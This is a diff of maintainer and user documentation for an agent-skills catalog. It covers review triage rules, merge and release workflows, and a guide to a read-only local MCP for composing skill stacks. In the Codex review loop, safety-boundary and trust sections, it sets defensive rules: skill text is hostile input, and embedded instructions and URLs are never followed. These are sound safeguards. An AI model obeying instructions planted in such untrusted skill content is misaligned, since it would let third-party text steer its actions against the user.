It is not Tessl, is not equivalent to Tessl, and cannot guarantee that a skill will pass a Tessl review. Tessl is not a runtime dependency. When credits are available again it may be used only as a separate sample audit.
|
||||
|
||||
## Production contract
|
||||
|
||||
For each skill, the reviewer emits:
|
||||
|
||||
- deterministic validation and AAS policy findings;
|
||||
- eight locally assigned 1-3 quality levels, confidence, and matched evidence;
|
||||
- a weighted `local_quality_score` from 0 to 100;
|
||||
- `triage.reviewStatus`, `triage.priority`, and stable `reasonCodes`;
|
||||
- exact input and tool-version bindings for cache invalidation and replay.
|
||||
|
||||
`triage.reviewStatus` is either `pass` or `manual-review-required`. Here, `pass` means only that no configured escalation rule fired; it is not a quality certification, Tessl result, or merge approval. The local `manual-review-required` value belongs to `source: local-skill-reviewer`; it must not be confused with the identically worded CI/Tessl fallback. It never satisfies the maintainer workflow's exact-head review attestation.
|
||||
|
||||
The production escalation rules mark a skill for manual review when it has a validation error, a broken-reference warning, deterministic policy findings, a score below 50, a score within three points of 50 or 75, low-confidence extreme levels, critical/offensive risk, or an explicit merge gate. Priorities are:
|
||||
|
||||
- `P0`: merge-blocking candidate; Codex review and the normal exact-head maintainer attestation remain required;
|
||||
- `P1`: validation, high-risk, or below-50 findings;
|
||||
- `P2`: other escalation reasons or clean middle-band triage;
|
||||
- `P3`: clean high-band triage.
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npm run review:skills:triage -- --result-dir /private/tmp/aas-review-full --concurrency 4
|
||||
npm run review:skills:triage -- --resume --result-dir /private/tmp/aas-review-full --concurrency 4
|
||||
npm run review:skills:local -- review short --result-dir /private/tmp/aas-review
|
||||
npm run review:skills:local -- review short --merge-gate --result-dir /private/tmp/aas-review
|
||||
npm run review:skills:local:test
|
||||
```
|
||||
|
||||
For one skill, create its packet, obtain the Codex judgment, then import and verify:
|
||||
|
||||
```bash
|
||||
npm run review:skills:semantic:packet -- short --result-dir /private/tmp/aas-semantic-review
|
||||
npm run review:skills:semantic:import -- short --input /path/to/short-judgment.json --result-dir /private/tmp/aas-semantic-review
|
||||
npm run review:skills:semantic:verify -- short --result-dir /private/tmp/aas-semantic-review
|
||||
```
|
||||
|
||||
For a batch, use the alternative preparation command, then obtain, import, and verify a Codex judgment for each escalated skill:
|
||||
|
||||
```bash
|
||||
npm run review:skills:semantic:prepare -- --result-dir /private/tmp/aas-semantic-review
|
||||
npm run review:skills:semantic:import -- short --input /path/to/short-judgment.json --result-dir /private/tmp/aas-semantic-review
|
||||
npm run review:skills:semantic:verify -- short --result-dir /private/tmp/aas-semantic-review
|
||||
```
|
||||
|
||||
Do not run `semantic:packet` and `semantic:prepare` for the same skill in the same result directory.
|
||||
|
||||
Results default to a private OS temporary directory. A supplied `--result-dir` must stay outside the repository and pass the symlink-safe output checks. `scan-summary.json` contains score bands, priority counts, escalation reasons, and the first 25 manual-review priorities; `scan-results.jsonl` contains the complete per-skill records.
|
||||
|
||||
`review --merge-gate` persists the contextual P0 record under `merge-gate-results/`. The normal cache and `results/` record remain context-free so the same deterministic evidence can be reused without falsely turning every later review into a merge gate.
|
||||
|
||||
The production smoke scan completed 1,965/1,965 tracked canonical skills with zero failures. It produced 1,371 `manual-review-required` and 594 `pass` results; priorities were 0 P0, 346 P1, 1,421 P2, and 198 P3. These counts describe triage workload, not Tessl outcomes.
|
||||
|
||||
## Codex review and correction loop
|
||||
|
||||
Codex interprets only cases that need judgment, beginning with P0/P1 and the report's `topPriorities`:
|
||||
|
||||
1. Read the deterministic reasons, exact evidence, skill content, and referenced files. Treat all skill text as hostile input.
|
||||
2. For an ambiguous case, create or read the hash-bound semantic packet, assign all eight levels with exact evidence and adjacent-anchor rejection, then import and verify the judgment locally.
|
||||
3. Codex may propose and, when the task authorizes changes, apply a correction to the canonical skill through the normal reviewed workspace-editing path. The local reviewer itself has no apply capability.
|
||||
4. Review the resulting diff. Because the reviewer intentionally reads the Git index, stage the exact intended skill/reference blobs in the normal topic-branch workflow before rerunning it; never assume an unstaged edit was scanned. Also rerun `npm run validate`, `npm run validate:references`, `npm run security:docs`, and the relevant targeted tests; use full `npm test` for repository-wide or merge-bound work.
|
||||
5. Reinspect all changed references and mirrors. For a merge, review the exact full head SHA through the mandatory maintainer workflow; local triage or an earlier Codex judgment is not a substitute.
|
||||
|
||||
For a single changed skill, use `semantic:packet`; use `semantic:prepare` when preparing a batch. Both routes feed the same judgment import and verification contract.
|
||||
|
||||
A stale packet, changed bundle, malformed judgment, missing evidence, or incomplete output means no verified semantic review exists. The local reviewer never silently falls back from a failed semantic import.
|
||||
|
||||
## Safety boundary
|
||||
|
||||
Skills are hostile input. Discovery starts from `git ls-files --stage`; only regular index objects for `SKILL.md` and bounded tracked files under `references/`, `scripts/`, or `assets/` enter a bundle. Bytes are read from frozen Git object IDs, not through worktree paths. Symlinks, gitlinks, traversal, unsafe YAML aliases/tags, oversized inputs, and invalid UTF-8 primary Markdown fail closed. URLs and instructions in skill content are never followed.
|
||||
|
||||
The deterministic runtime uses no model, Codex CLI, Tessl CLI, API, browser, MCP, or network. Supplemental binary files affect bundle hashes but are not parsed or included as instructions. Output files are atomic and bound to their inputs, schemas, thresholds, runtime, and reviewer version.
|
||||
|
||||
## Measurement and limits
|
||||
|
||||
The accepted operational reference is **149/200 exact labels (74.5%)** on the 25-skill validation set for the Codex-assisted adjudication procedure. It is not a blind result and is not the accuracy of the deterministic scanner alone. The immutable receipt is `tools/config/local-skill-review-operational-receipt.json`.
|
||||
|
||||
The untouched 35-skill blind experiment measured 57.143% exact agreement for frozen deterministic v9 and 72.857% for the Codex-assisted procedure. Tessl's forced-repeat self-agreement on a separate 15-skill panel was 74.167%. The preregistered parity target failed, the blind cohort is now revealed, and no further tuning on these labels is permitted. These measurements support production use for triage and Codex-assisted review only; they do not demonstrate rigorous equivalence or blind stability.
|
||||
|
||||
The local score measures rubric conformance, not real-world task success. Scenario-based evaluations remain necessary for behavioral claims.
|
||||
|
||||
## Historical calibration artifacts
|
||||
|
||||
The parity manifests, collectors, fixtures, and metric scripts remain frozen as audit evidence and regression material. They are not imported by the production triage runtime and are not exposed as its supported operating path. The old calibration npm shortcut was removed to prevent accidental continued fitting on revealed labels.
|
||||
|
||||
## Criterion provenance
|
||||
|
||||
The local rubric, schemas, anchors, reason codes, fixtures, and wording are original clean-room material. Only publicly observable dimension names, 1-3 scale, and weights informed the design. No private Tessl prompt, server validator, model behavior, example, or implementation is treated as provenance.
|
||||
@@ -30,22 +30,18 @@ Use `--dry-run` to exercise local classification without approving a run or merg
|
||||
|
||||
`merge:batch` will:
|
||||
|
||||
- refresh the PR body when the Quality Bar checklist is missing
|
||||
- record the existing workflow-run generation, then close and reopen the PR if stale metadata needs a fresh `pull_request` event
|
||||
- fetch the exact base/head objects and classify the complete raw Git diff
|
||||
- recompute changed-skill evidence with evaluator code materialized from the trusted `main` commit
|
||||
- reject incomplete evidence coverage, deterministic quality/security/provenance regressions, and base/head drift
|
||||
- for external PRs, poll for asynchronously-created fork runs and approve only post-reopen runs waiting on `action_required` when every path, mode, object, size, and workflow identity is allowlisted
|
||||
- for external PRs, poll for asynchronously-created fork runs and approve only runs waiting on `action_required` when every path, mode, object, size, and workflow identity is allowlisted
|
||||
- for same-repository maintainer PRs, allow repository-wide source changes while still enforcing trusted changed-skill evidence, exact-head review, required checks, branch protection, and immutable PR identity
|
||||
- wait only for check suites belonging to the post-reopen workflow generation; older runs on the same head SHA cannot satisfy or fail the gate
|
||||
- wait for the latest required checks bound to the exact head SHA
|
||||
- call GitHub's immediate squash-merge endpoint and continue only when it reports `merged: true`
|
||||
- pull the protected `main`; its trusted workflow opens a canonical-sync bot PR for generated artifacts and contributor credits when needed
|
||||
|
||||
## What It Automates
|
||||
|
||||
- PR body normalization against the repository template
|
||||
- stale PR metadata refresh
|
||||
- generation-bound required-check polling for the current PR head
|
||||
- exact-head required-check polling
|
||||
- handoff of post-merge contributor and artifact drift to the canonical-sync PR lane
|
||||
|
||||
## What It Does Not Automate
|
||||
|
||||
@@ -21,7 +21,7 @@ Resolve conflicts **on the PR branch** so the PR becomes mergeable, then use "Sq
|
||||
- `README.md` is mixed ownership: contributor prose edits are allowed, but workflow-managed metadata is canonicalized on `main`.
|
||||
- If derived files appear in a PR refresh or merge conflict, prefer **`main`'s side** and remove them from the PR branch instead of hand-maintaining them there.
|
||||
- Do not block a PR only because shared generated files would be regenerated differently after other merges. `main` auto-syncs the final state after merge.
|
||||
- If a skill PR leaves `risk: unknown`, that is not automatically a blocker. Maintainers can review the suggested classification with `npm run audit:skills`, optionally run `npm run sync:risk-labels` locally after merge, and still keep the contributor PR source-only.
|
||||
- If a skill PR leaves `risk: unknown`, that is not automatically a blocker. Review the actual behavior semantically; do not infer risk from isolated words or rewrite it automatically.
|
||||
|
||||
### Steps (maintainer resolves conflicts on the contributor’s branch)
|
||||
|
||||
|
||||
@@ -41,11 +41,10 @@ Every new or relocated skill and every canonical skill-content change requires m
|
||||
|
||||
## Fork Review States
|
||||
|
||||
The Skill Review workflow separates three outcomes:
|
||||
The Skill Review workflow separates two outcomes:
|
||||
|
||||
- `review`: a semantic review actually ran using trusted base scripts;
|
||||
- `manual-review-required`: repository secrets were unavailable to a fork, so a maintainer must review and attest to the exact head SHA;
|
||||
- `missing-review-credentials`: an internal branch expected semantic-review credentials but none were configured, so the check fails closed.
|
||||
- `manual-review-required`: Tessl credentials or quota were unavailable, or Tessl did not produce a passing semantic result, so a maintainer must review and attest to the exact head SHA.
|
||||
|
||||
A successful `manual-review-required` check means only that the requirement was recorded. It is not a successful semantic review.
|
||||
|
||||
|
||||
@@ -47,7 +47,7 @@ Use this as a diagnostic signal. It is useful for spotting legacy quality debt,
|
||||
- Confirm `README.md` reflects the current version and generated counts.
|
||||
- Confirm Credits & Sources, contributors, and support links are still correct.
|
||||
- If PR or CI workflow behavior changed during the cycle, confirm maintainer and contributor docs mention the active checks (for example the `skill-review` workflow for `SKILL.md` pull requests).
|
||||
- If maintainers used `npm run sync:risk-labels` or a comparable cleanup flow during the cycle, make sure the maintainer docs still describe the current audit -> sync -> repo-state loop.
|
||||
- If maintainers changed declared risk labels during the cycle, confirm that each change has semantic review evidence rather than lexical inference.
|
||||
|
||||
5. Prepare the protected release PR:
|
||||
|
||||
@@ -65,22 +65,29 @@ This command:
|
||||
- creates and pushes `release/vX.Y.Z`
|
||||
- opens a release PR containing the scripted canonical release state
|
||||
|
||||
Prerelease versions use the same protected flow, for example `15.0.0-rc.1`. They must have their own exact changelog section.
|
||||
|
||||
6. Merge the release PR through required checks, update local `main`, then publish the GitHub release:
|
||||
|
||||
```bash
|
||||
npm run release:publish -- X.Y.Z
|
||||
```
|
||||
|
||||
This command proves local `main` equals protected `origin/main` and the exact squash commit of the merged `release/vX.Y.Z` PR, checks that no canonical-sync PR or release-state drift remains, creates or reuses the matching local/remote tag safely, and creates the GitHub release object from the matching `CHANGELOG.md` section. It never pushes `main` directly and can be retried after a partial tag/release failure.
|
||||
This command proves local `main` equals protected `origin/main` and the exact squash commit of the merged `release/vX.Y.Z` PR, checks that no canonical-sync PR or release-state drift remains, creates or reuses the matching local/remote tag safely, and creates the GitHub release object from the matching `CHANGELOG.md` section. SemVer prereleases are marked as GitHub prereleases. It never pushes `main` directly and can be retried after a partial tag/release failure.
|
||||
|
||||
7. Publish to npm if needed:
|
||||
|
||||
```bash
|
||||
npm publish
|
||||
npm publish --tag latest
|
||||
```
|
||||
|
||||
Normally this still happens via the existing GitHub release workflow after the GitHub release is published.
|
||||
That workflow now reruns `sync:release-state`, installs Python dependencies from `tools/requirements.txt`, refreshes tracked web assets, fails on canonical drift via `git diff --exit-code`, executes tests and docs security checks, runs the web-app coverage gate, enforces `npm audit --audit-level=high`, builds the web app, and dry-runs the npm package before `npm publish`.
|
||||
Normally this still happens via the existing GitHub release workflow after the GitHub release is published. The workflow publishes stable versions explicitly to npm's `latest` dist-tag and prerelease versions explicitly to `next`; it fails closed on an invalid version. Verify both tags after a prerelease so `latest` remains on the last stable release.
|
||||
|
||||
```bash
|
||||
npm view agentic-awesome-skills dist-tags --json
|
||||
```
|
||||
|
||||
The workflow reruns `sync:release-state`, installs Python dependencies from `tools/requirements.txt`, refreshes tracked web assets, fails on canonical drift via `git diff --exit-code`, executes tests and docs security checks, runs the web-app coverage gate, enforces `npm audit --audit-level=high`, builds the web app, and dry-runs the npm package before publishing.
|
||||
|
||||
## Canonical Sync Bot
|
||||
|
||||
|
||||
@@ -6,21 +6,21 @@ This document keeps the repository's GitHub-facing discovery copy aligned with t
|
||||
|
||||
Preferred positioning:
|
||||
|
||||
> Installable GitHub library of 1,965+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.
|
||||
> AAS Core is the local, deterministic boundary that exposes the complete catalog, validates exact skill IDs selected by the coding agent from an explicit project profile, and produces an immutable preview plan, backed by 1,968+ cataloged skills.
|
||||
|
||||
Key framing:
|
||||
|
||||
- installable skill library;
|
||||
- GitHub-first discovery;
|
||||
- broad multi-tool compatibility;
|
||||
- bundles, workflows, and onboarding docs;
|
||||
- useful for both breadth and curated evaluation.
|
||||
- AAS Core as the primary product;
|
||||
- local MCP and CLI as the agent-facing and operator-facing interfaces;
|
||||
- `aas-stack.json` and the immutable plan as durable artifacts;
|
||||
- GitHub as the canonical source, with the hosted catalog and Workbench as discovery and review surfaces;
|
||||
- catalog, plugins, bundles, workflows, and direct installers as supporting content and distribution.
|
||||
|
||||
## GitHub About settings
|
||||
|
||||
Preferred description:
|
||||
|
||||
> Installable GitHub library of 1,965+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.
|
||||
> Local, deterministic AAS Core for explainable coding-agent skill stacks, backed by 1,967+ cataloged skills. Includes a read-only MCP, stack CLI, Workbench review, plugins, bundles, workflows, and direct distribution.
|
||||
|
||||
Preferred homepage:
|
||||
|
||||
@@ -28,8 +28,9 @@ Preferred homepage:
|
||||
|
||||
Preferred social preview:
|
||||
|
||||
- use a clean preview image that says `1,965+ Agentic Skills`;
|
||||
- mention Claude Code, Cursor, Codex CLI, and Gemini CLI;
|
||||
- lead with `AAS Core` and the profile → stack → plan flow;
|
||||
- present `1,969+ Agentic Skills` as supporting catalog evidence, not a second product;
|
||||
- mention Codex and Claude as the current Core agent path, with broader host compatibility as distribution support;
|
||||
- avoid dense text and tiny logos that disappear in social cards.
|
||||
|
||||
Preferred topics:
|
||||
@@ -75,11 +76,12 @@ Suggested release template:
|
||||
```md
|
||||
## [VERSION] - YYYY-MM-DD - "User-facing title"
|
||||
|
||||
> Installable skill library update for Claude Code, Cursor, Codex CLI, Gemini CLI, and related AI coding assistants.
|
||||
> AAS Core and supporting catalog update for local, explainable coding-agent skill stacks.
|
||||
|
||||
Start here:
|
||||
|
||||
- Install: `npx agentic-awesome-skills`
|
||||
- AAS Core guide: `docs/users/aas-core.md`
|
||||
- Direct skill distribution: `npx agentic-awesome-skills`
|
||||
- Choose your tool: `README.md#choose-your-tool`
|
||||
- Specialized plugins: `README.md#recommended-specialized-plugins`
|
||||
- Bundles: `docs/users/bundles.md`
|
||||
@@ -113,9 +115,9 @@ Start here:
|
||||
|
||||
Suggested pinned discussion topics:
|
||||
|
||||
- `Start here: best skills by tool`
|
||||
- `Best bundles for new users`
|
||||
- `How to choose between Antigravity and other skill libraries`
|
||||
- `Start here: compose a project stack with AAS Core`
|
||||
- `Choose between an agent-selected Core stack and direct distribution`
|
||||
- `How the catalog, plugins, bundles, and workflows support Core`
|
||||
|
||||
Discussion posts should:
|
||||
|
||||
|
||||
@@ -72,7 +72,7 @@ The update process refreshes:
|
||||
- Canonical skills index (`skills_index.json`)
|
||||
- Compatibility mirror (`data/skills_index.json`)
|
||||
- Web app skills data (`apps\web-app\public\skills.json`)
|
||||
- All 1,965+ skills from the skills directory
|
||||
- All 1,969+ skills from the skills directory
|
||||
|
||||
## When to Update
|
||||
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
# AAS Core: Agent-Owned Skill Stacks
|
||||
|
||||
AAS Core lets Codex and Claude search and read the complete local AAS catalog, preserve their exact skill selection as reproducible desired state, and preview a validated plan before any target change.
|
||||
|
||||
> **The agent inspects and chooses. AAS records and validates. You control.**
|
||||
|
||||
The primary durable artifact is [`aas-stack.json`](#the-stack-manifest). It records the exact skill IDs chosen by the coding agent; it is not the output of a Core ranking system. An audit-enabled flow can also persist a separate canonical `aas-selection-evidence.json` sidecar. The local MCP is a read-only catalog, composition, and evidence boundary; a client or the `aas` CLI performs persistence, the CLI validates and plans, and Workbench is a browser-local review surface.
|
||||
|
||||
## How it works
|
||||
|
||||
```text
|
||||
your project
|
||||
-> Codex or Claude inspects the repository
|
||||
-> agent searches and reads the complete local AAS catalog
|
||||
-> agent chooses the exact skill IDs
|
||||
-> compose_stack validates and returns the manifest in memory
|
||||
-> client or CLI persists aas-stack.json and optional evidence sidecar
|
||||
-> you review the artifacts
|
||||
-> aas stack validate
|
||||
-> aas stack plan (preview; no skill changes)
|
||||
```
|
||||
|
||||
AAS MCP does not scan the repository and does not decide which skills are best. Codex or Claude uses its own project understanding and judgment. All 1,968 skills in the current catalog remain individually searchable, readable, selectable, and usable; missing or incomplete metadata never makes a skill ineligible. Core has no semantic policy that favors a small stack, while every stack manifest has an explicit technical maximum of 128 skills.
|
||||
|
||||
## Configure the local MCP
|
||||
|
||||
> **Release boundary:** AAS Core landed after release 14.6.0. Use an exact Core-capable release rather than an unreviewed moving tag.
|
||||
|
||||
```bash
|
||||
npm exec --yes --ignore-scripts --package=agentic-awesome-skills@X.Y.Z -- aas mcp configure \
|
||||
--host codex \
|
||||
--scope user \
|
||||
--config /absolute/path/to/codex/config.toml \
|
||||
--cache-root /absolute/path/to/aas-cache
|
||||
```
|
||||
|
||||
Use `--host claude` with the appropriate absolute Claude MCP configuration path for Claude. The first command is a preview and returns an approval digest without changing the host configuration. Review it, then repeat the exact command with:
|
||||
|
||||
```text
|
||||
--approve <approval-digest>
|
||||
```
|
||||
|
||||
Configuration is explicit and integrity-bound. AAS installs or reuses an exact content-addressed runtime, verifies it, and changes only its managed MCP configuration section. Restart the host if it does not reload MCP configuration automatically.
|
||||
|
||||
## Ask the agent to choose the stack
|
||||
|
||||
Give the agent the desired outcome and constraints, and leave selection judgment with the agent:
|
||||
|
||||
```text
|
||||
Inspect this repository. Search and read the complete local AAS catalog, then
|
||||
enumerate the project's primary capability areas. For each capability, run a
|
||||
focused search, paginate or refine until you find plausible candidates, and use
|
||||
get_skill to compare multiple candidates when available. Select at least one
|
||||
non-redundant valid skill for every covered capability. Explicitly report as a
|
||||
catalog gap any capability for which the catalog has no valid match. At minimum,
|
||||
evaluate architecture/runtime, languages/frameworks, domain behavior,
|
||||
data/storage, external integrations, testing/quality, security/privacy,
|
||||
user experience/accessibility when user-facing, deployment/operations, and
|
||||
maintenance workflow; mark dimensions not applicable instead of silently
|
||||
omitting them. Do not stop at the first few matches or optimize for the smallest
|
||||
stack. Core imposes no semantic small-stack policy; the manifest format has a
|
||||
technical maximum of 128 selected skills.
|
||||
Only then use compose_stack with a project profile to validate the exact IDs and
|
||||
return a schema 2 manifest in memory, and use inspect_stack before presenting
|
||||
it. Do not install or apply anything.
|
||||
```
|
||||
|
||||
This capability-coverage contract is delivered to supported clients in the MCP
|
||||
`initialize` instructions and reinforced by the tool descriptions. It is an
|
||||
agent obligation, not a Core ranking or eligibility policy: Core still accepts
|
||||
and preserves any structurally valid set of catalog IDs and never chooses for the
|
||||
agent.
|
||||
|
||||
The local MCP exposes these read-only tools:
|
||||
|
||||
- `search_skills` — retrieve deterministic, paginated matches from every skill in the verified local catalog without scores or ranking;
|
||||
- `get_skill` — inspect one skill and optionally read its full content;
|
||||
- `compose_stack` — validate the agent-selected IDs and return the stack manifest in memory without writing it;
|
||||
- `inspect_stack` — validate and explain a proposed manifest;
|
||||
- `diff_stack` — compare manifests using verified local catalogs.
|
||||
- `export_selection_evidence` — combine the server-recorded session trace with an agent-declared capability ledger and an already composed and inspected manifest;
|
||||
- `inspect_selection_evidence` — validate the sidecar's structure, digests, catalog identity, manifest binding, and factual cross-references without judging skill suitability.
|
||||
|
||||
Search results use a stable catalog order and contain no relevance score, recommendation, or preferred ordering. Codex or Claude evaluates the returned candidates semantically and chooses exact IDs. Metadata returned by search or inspection is informational context; Core does not use risk, source, setup, compatibility, review, or evidence metadata to rank, exclude, or disable a skill.
|
||||
|
||||
MCP calls do not install or remove skills, update catalogs, edit host configuration, persist a stack, or apply it. Full skill text is returned only when requested and remains marked as untrusted content.
|
||||
|
||||
## The stack manifest
|
||||
|
||||
`aas-stack.json` records agent-chosen desired state:
|
||||
|
||||
```json
|
||||
{
|
||||
"schemaVersion": 2,
|
||||
"name": "project-stack",
|
||||
"catalog": {
|
||||
"package": "agentic-awesome-skills",
|
||||
"version": "<version>",
|
||||
"integrity": "sha256-..."
|
||||
},
|
||||
"targets": [{ "host": "codex", "scope": "project" }],
|
||||
"profile": {
|
||||
"goals": ["build", "test"],
|
||||
"projectType": "web application",
|
||||
"languages": ["typescript"],
|
||||
"frameworks": ["react"],
|
||||
"constraints": ["preview only"]
|
||||
},
|
||||
"skills": [
|
||||
{ "id": "example-skill" }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The manifest pins catalog identity, targets, the project profile, and exact agent-selected skill IDs. It intentionally has no selection policy: Core validates identity and structure but does not overrule the agent's choice because metadata is missing, incomplete, or cautionary.
|
||||
|
||||
`compose_stack` produces this manifest only in MCP process memory. Persist it through the client or the CLI. Audit-enabled CLI flows publish `aas-stack.json` together with `aas-selection-evidence.json` in the requested `artifact-dir`, keeping the sidecar separate from the desired-state manifest.
|
||||
|
||||
## Selection evidence sidecar
|
||||
|
||||
`aas-selection-evidence.json` makes the selection process auditable without moving semantic judgment into Core. It binds a path-safe project fingerprint, catalog identity, manifest digest, the agent-declared ten-dimension capability ledger, capability-to-skill mappings, and the actual `search_skills`, `get_skill`, `compose_stack`, and `inspect_stack` facts recorded by that MCP server session. `export_selection_evidence` takes the ledger but obtains the trace from server-owned session state; the caller cannot supply a replacement historical trace. `inspect_selection_evidence` performs structural and factual validation only.
|
||||
|
||||
The trace records effective search query/cursor/limit values and returned IDs, opened skill IDs, exact compose IDs, inspect outcomes, safe error codes, deterministic retry attempts, and canonical input/output byte counts. Monotonic call durations are recorded separately outside the evidence digest. Client name and version come from MCP initialization when valid and available; model identity is omitted unless a trusted protocol surface supplies it.
|
||||
|
||||
The sidecar does not prove that a capability is correctly interpreted, that a selected skill is best, or that semantic coverage is sufficient. Repository evidence references are relative and contain no file contents or absolute paths. Search queries are recorded verbatim as factual trace data, so do not put secrets, credentials, private source text, or personal data in `search_skills` queries. Runtime observations that are not deterministic are not part of the canonical evidence digest.
|
||||
|
||||
The digest makes later edits detectable but is not a signature or cross-session identity attestation. The non-falsification guarantee is narrower: callers cannot inject or replace historical tool calls through `export_selection_evidence`; a standalone inspector can verify structure and digests, not who produced the file.
|
||||
|
||||
To publish the manifest and exported sidecar without exposing a one-file intermediate state, use a new artifact directory:
|
||||
|
||||
```bash
|
||||
aas stack create \
|
||||
--selection /absolute/path/to/agent-selection.json \
|
||||
--evidence /absolute/path/to/exported-evidence.json \
|
||||
--artifact-dir /absolute/path/to/new-audit-artifact \
|
||||
--require-evidence
|
||||
```
|
||||
|
||||
The destination must not already exist. The CLI validates both artifacts, writes private staged files named `aas-stack.json` and `aas-selection-evidence.json`, synchronizes them, and publishes the complete directory with one rename. The original `stack create --selection ... --out ...` manifest-only path remains supported.
|
||||
|
||||
## Validate and preview the plan
|
||||
|
||||
Use absolute paths in automation and review the JSON result from each command:
|
||||
|
||||
```bash
|
||||
aas stack validate --manifest /absolute/path/to/aas-stack.json
|
||||
|
||||
aas stack plan \
|
||||
--manifest /absolute/path/to/aas-stack.json \
|
||||
--target codex:project \
|
||||
--target-root /absolute/path/to/project \
|
||||
--cache-root /absolute/path/to/aas-cache \
|
||||
--runtime-integrity '<npm-sri>' \
|
||||
--out /absolute/path/to/plan.json
|
||||
```
|
||||
|
||||
`stack validate` is read-only. `stack plan` writes only the requested plan artifact and does not materialize skills or AAS managed state in the target. The immutable plan binds the manifest, runtime, catalog, target identity, current managed state, and exact logical operations.
|
||||
|
||||
Stop after reviewing the plan unless you are deliberately participating in controlled preview development. `stack apply` and `stack recover` remain experimental and require explicit opt-in.
|
||||
|
||||
## Privacy, trust, and limits
|
||||
|
||||
- MCP is local stdio, process-per-session, read-only, offline-capable, and contains no model credentials or telemetry.
|
||||
- Codex or Claude owns semantic selection. Different agents or project observations may reasonably produce different stacks.
|
||||
- Catalog integrity and manifest validation are deterministic; skill suitability is an agent judgment, not a Core score.
|
||||
- Core does not impose a semantic skill-count target. The technical manifest maximum is 128 skills, and every one of the current catalog's 1,968 skills remains individually searchable, readable, selectable, and usable. Metadata remains visible but informational.
|
||||
- Evidence exports include raw `search_skills` queries; keep secrets and sensitive project content out of those queries.
|
||||
- Catalog updates and runtime changes are explicit. There is no resident daemon or implicit auto-update.
|
||||
- Skill prose is untrusted content and does not gain instruction authority by being returned through MCP.
|
||||
|
||||
## Other ways to use the catalog
|
||||
|
||||
Direct installs, specialized plugins, bundles, workflows, and the legacy installer remain available. These surfaces distribute or curate catalog content; AAS Core adds complete local access, durable agent-owned selection, manifest validation, and a reviewable plan.
|
||||
|
||||
## Next reads
|
||||
|
||||
- [Getting Started](getting-started.md)
|
||||
- [Usage](usage.md)
|
||||
- [Skills vs MCP Tools](skills-vs-mcp-tools.md)
|
||||
- [Plugins for Claude Code and Codex](plugins.md)
|
||||
- [Bundles](bundles.md)
|
||||
- [FAQ](faq.md)
|
||||
+10
-9
@@ -1,27 +1,28 @@
|
||||
# Agentic Awesome Skills vs Awesome Claude Skills
|
||||
|
||||
If you are comparing **Agentic Awesome Skills** with **Awesome Claude Skills**, the decision usually comes down to breadth vs curation.
|
||||
If you are comparing **Agentic Awesome Skills** with **Awesome Claude Skills**, first decide whether you need complete catalog access with agent-owned reproducible selection or an editorial discovery list.
|
||||
|
||||
For clarity: the repository many people still refer to as `awesome-claude-skills` now lives at [VoltAgent/awesome-agent-skills](https://github.com/VoltAgent/awesome-agent-skills).
|
||||
|
||||
## TL;DR
|
||||
|
||||
- Choose **Agentic Awesome Skills** if you want a large installable library, broad tool coverage, and strong onboarding.
|
||||
- Choose **Agentic Awesome Skills** if you want AAS Core to turn an explicit project profile into an explainable, reviewable skill stack, with broad catalog and distribution support around it.
|
||||
- Choose **VoltAgent Awesome Agent Skills** if you want a curated list with a strong official-team angle and a tighter scope.
|
||||
|
||||
## At-a-glance comparison
|
||||
|
||||
| Criteria | Agentic Awesome Skills | VoltAgent Awesome Agent Skills |
|
||||
| --- | --- | --- |
|
||||
| Best for | Breadth, installation, multi-tool daily use | Curated discovery and official/community highlights |
|
||||
| Catalog shape | Large installable library with bundles, workflows, docs, and generated catalog | Curated awesome-list style collection |
|
||||
| Best for | Complete local catalog access, agent-owned selection, durable desired state, and plan preview | Curated discovery and official/community highlights |
|
||||
| Product shape | AAS Core with local MCP, CLI, stack/plan artifacts, Workbench review, and supporting catalog/distribution | Curated awesome-list style collection |
|
||||
| Supported tools | Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, Kiro, OpenCode, Copilot, more | Claude Code, Codex, Antigravity, Gemini CLI, Cursor, Copilot, OpenCode, Windsurf, more |
|
||||
| Onboarding | Installation docs, bundles, workflows, getting-started guides | Curated README and categorized references |
|
||||
| Good fit when | You want one repo to install and work from | You want a smaller list to browse and evaluate |
|
||||
| Good fit when | You want an agent to inspect a project and choose exact IDs from the full catalog | You want a smaller list to browse and evaluate manually |
|
||||
|
||||
## Why choose Agentic Awesome Skills
|
||||
|
||||
- You want a single GitHub repository that acts as both a skill source and an installable working library.
|
||||
- You want Codex or Claude to search and read a complete catalog through a local, read-only MCP and own the selection.
|
||||
- You want the approved selection recorded as `aas-stack.json` and validated before an immutable plan is produced.
|
||||
- You care about onboarding assets like [`bundles.md`](bundles.md), [`workflows.md`](workflows.md), and tool-specific guides.
|
||||
- You need coverage across many domains, not just a curated shortlist.
|
||||
|
||||
@@ -33,11 +34,11 @@ For clarity: the repository many people still refer to as `awesome-claude-skills
|
||||
|
||||
## Honest tradeoffs
|
||||
|
||||
- Antigravity can feel bigger and noisier at first because it optimizes for breadth.
|
||||
- The AAS catalog is larger and its evidence remains uneven; Core reports unknowns rather than treating breadth as certified quality.
|
||||
- VoltAgent can be easier to skim quickly because it optimizes for curation.
|
||||
- If you want both, a sensible workflow is to browse curated lists first and install a broader library once you know your use cases.
|
||||
- If you want both, use curated lists for editorial discovery and AAS Core when you need a reproducible agent-selected project stack.
|
||||
|
||||
## Suggested next step
|
||||
|
||||
- If you want to install and start using skills today, go back to [`README.md`](../../README.md) and follow the installation guide.
|
||||
- If you want project-specific composition, start with the [AAS Core guide](aas-core.md). If you already know exact skill IDs, use the direct distribution options in [`README.md`](../../README.md).
|
||||
- If you are still evaluating tool-specific options, continue with [`best-claude-code-skills-github.md`](best-claude-code-skills-github.md) or [`best-cursor-skills-github.md`](best-cursor-skills-github.md).
|
||||
|
||||
@@ -1,29 +1,32 @@
|
||||
# AI Agent Skills
|
||||
|
||||
If you are researching **AI agent skills** on GitHub, the biggest decision is usually not "which single skill is best?" but "do I want a broad installable library or a smaller curated collection?"
|
||||
If you are researching **AI agent skills** on GitHub, the useful first decision is whether you want agent-owned project selection with reproducible state or manual catalog browsing.
|
||||
|
||||
Agentic Awesome Skills is built for the first path: broad coverage, multiple supported tools, installation help, onboarding docs, bundles, workflows, and a catalog that supports both beginner and advanced users.
|
||||
